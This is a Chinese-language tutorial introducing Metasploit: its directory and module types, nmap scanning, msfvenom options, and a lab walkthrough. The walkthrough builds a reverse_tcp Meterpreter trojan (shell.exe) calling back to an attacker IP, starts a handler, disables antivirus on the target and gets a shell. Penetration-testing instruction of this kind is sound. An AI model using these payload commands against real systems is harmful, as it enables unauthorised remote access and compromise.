metasploit框架介绍
MSF
The Metasploit Framework的简称。MSF高度模块化,即框架由多个
module组成,是全球最受欢迎的工具。
进一步解释
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞
和流行的shellcode,并持续保持更新。
metasploit目录结构及用途
Linux下metasploit目录路径:
/opt/metasploit-framework/embedded/framework/
/usr/share/metasploit-framework/
kali自带,目录同上
目录文件作用:metasploit
涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload
进行一系列的渗 透测试。data
包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。documentation
包含框架的可用文档。lib metasploit
的库文件夹。plugins
用来存放metasploit的插件。scripts
用来存放metasploit的脚本,包括meterpreter及其它脚本。tools
存放多种的命令行实用程序。modules
存储metasploit的模块文件。
modules目录
modules——模块目录是metasploit 很重要的目录,下面对里面的一些常用模块进行解释:
auxiliary
:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)exploits
:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类payloads
:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shel的代码post
:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等encoders
:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统evasion
:躲避模块,用来生成免杀payloadnops
:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90>0…)则会因为被拦截而导致攻击失效。
metasploit的使用
msfdb init:初始化数据库
msfconsole:启动
metasploit的信息收集
db_ nmap: nmap扫描
-PA: TCP ACK PING扫描
-PS: TCP SYN PING扫描
-PR: ARP扫描是nmap对目标进行一个arp ping扫
描的过程,尤其在内网的情况下。因为防火墙不会
禁止ARP请求。
hosts:当前工作区所有主机
db_nmap扫描和nmap扫描基本相同,最明显的不同点是db_nmap扫描会把扫描出来的端口等信息结果保存到数据库里面。
端口、服务、版本的探测
db_ nmap: nmap扫描
-T[0-5]: 默认为T3,T4表示最大TCP扫描延迟为
10ms
-sS: TCP SYN扫描
-sA: TCP ACK扫描
-sT: TCP扫描
-A:打开操作系统探测和版本探测。
他也有nmap上的–script命令,去指定脚本,来检查指定的脚本是否有脆弱性漏洞
–script=vuln:检查是否具有常见漏洞~
Nmap端口信息收集
root@kali:~# nmap -sV -T4 xxx.xxx.xxx.xxx
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-29 10:46 CST
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysq! MySQL (unauthorized)
3389/tcp open ssl/ms-wbt-server?
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:0D:E5:D0 (VMware)
Service Info: Host: LISIANTHUS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
msfvenom基本参数
–payload, 指定特定的Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。
–list,,列出所有可用的项目,其中值可以被设置为payloads, encoders, nops, all
-n: --nopsled, 指定nop在payload中的数量
-f: --format, 指定Payload的输出格式(–list formats:列出所有可用的输出格式)
-e: --encoder, 指定使用的encoder
-a: --arch, 指定目标系统架构
–platform: 指定目标系统平台
-S: --space, 设置未经编码的Payload的最大长度(–encoder-space: 编码后的Payload的最大长度)
-b: --bad -chars,设置需要在Payload中避免出现的字符,例如: ’ \0f’、’ \x00’等
-i: --iterations, 设置Payload的编码次数
– smallest:尽可能生成最短的Payload
-0: --out, 保存Payload到文件
-C: --add-code, 指定一个附加的win32 shellcode文件
-x: --template, 指定一个特定的可执行文件作为模板
-k: --keep, 保护模板程序的功能,注入的payload作为一个新的进程运行
msfvenom生成payload
msfvenom可以用来生成Linux的ELF文件、Windows的PE文件(.exe)、web可执行文件php和Python可执行文件.py。
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< Target IP Address> LPORT= -f elf > shell.elf
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST= < Your IP Address> LPORT= -f raw > shell.py
payload较长,这里拿Windows的来解释一下其中各元素代表的意思:msfvenom -p windows/meterpreter/reverse_ tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f exe > shell.exe
msfvenom
是他的shell命令-p
指定payloadwindows/meterpreter/reverse_ tcp
指定payload为windows/meterpreter/reverse_ tcp的反向监听端口,接受反弹shellLHOST=<Your IP Address>
LPORT= <Your Port to Connect On>
在上面的路径中指定两个参数localhost和localport指定攻击机的地址和攻击机上开启的远程监听端口-f exe > shell.exe
:-f
意为-file,指定输出的格式为exe,用重定位符>
,定位到一个指定的文件(shell.exe)这里的shell.exe是我们自设定的木马。
而上面的PHP和Python的payload中的-f后都加的raw,raw是未经处理的文件,大家如果拍过照可能会遇到过raw,最后通过重定位符,重定向为shell.php/shell.py。
执行msfvenom命令,-p指定为Windows(本次拿Windows做个测试)lhost填写攻击机的IP,ifconfig查看,lport设置为此开设的端口,最后指定文件类型并重定向为shell.exe。msfvenom -p windows/meterpreter/reverse_ tcp lhost=10.2.113.13 lport= 7777 -f exe > shell.exe
执行msfconsole命令,进入它的shell:
在这里使用EXR(exploit)攻击模块的handler,开启握手监听
并查看配置信息show options
可以看到,里面有模块信息module options,我们可以对此进行设置payload的模块载荷。
由于上面我们生成的木马指定的是Windows的tcp,所以这里设置payload载荷与上面一致set payload windows/meterpreter/reverse_tcp
,并再次查看配置项,查看模块组区域的变化,已经加载该模块。
看上图,这时候msfconsole配置项中的lhost还是空的,lport是4444(默认值),将他们设置成攻击机的IP以及刚才生成payload时设置的端口(7777)。
最后使用exploit
进行攻击或者使用run
将其跑起来,此处先跑run,开启本机IP的7777端口的监听。
将生成的shell.exe文件传给Windows靶机,如果靶机上装的有杀毒软件,会检测到有后门文件(win10安全中心说是特洛伊木马)直接删掉文件,由于我们是在测试,so 关掉杀毒软件重复此操作 继续。
侦听端侦听到一个IP为10.2.99.185的,上面截图是一组信息,之后还会一直有信息刷新,证明该连接保持存活着。最后获得meterpreter >
Metasploit是个啥
Metasploit的exploit/multi/handler模块是一个有效负载处理程序, 它只处理在受损主机中执时有效负载连接。
Meterpreter是metasploit的后渗透利用工具。基于内存l注入实现,能够通过创建一个新进程并调用
注入的来让目标系统运行注入的dll文件。在该模式下,攻击者与目标设备中Meterpreter的通信是通
过stager套接字实现的。
Meterpreter-Get shell
获得meterpreter之后可以进行后渗透的测试。
也可以执行shell
拿到靶机的shell,测试